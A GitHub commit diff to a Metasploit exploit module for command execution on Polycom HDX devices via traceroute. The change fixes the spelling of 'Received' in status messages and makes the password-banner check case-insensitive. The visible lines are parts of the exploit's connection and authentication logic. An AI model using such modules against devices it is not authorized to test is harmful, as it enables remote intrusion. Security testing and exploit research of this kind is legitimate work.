Skip to content

Commit 7edab26

Browse files
committed
handle case-insensitive password, fix received
1 parent 06334aa commit 7edab26

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -74,9 +74,9 @@ def exploit
7474
sock = connect
7575
Rex.sleep(2)
7676
banner = sock.get_once
77-
vprint_status("Recieved #{banner.length} bytes from service")
77+
vprint_status("Received #{banner.length} bytes from service")
7878
vprint_line("#{banner}")
79-
if banner =~ /password/
79+
if banner =~ /password/i
8080
print_status("Authentication enabled on device, authenticating with target...")
8181
if datastore['PASSWORD'].nil?
8282
print_error("#{peer} - Please supply a password to authenticate with")
@@ -111,7 +111,7 @@ def do_payload(sock)
111111
if datastore['VERBOSE']
112112
Rex.sleep(2)
113113
resp = sock.get_once
114-
vprint_status("Recieved #{resp.length} bytes in response")
114+
vprint_status("Received #{resp.length} bytes in response")
115115
vprint_line(resp)
116116
end
117117

0 commit comments

Comments
 (0)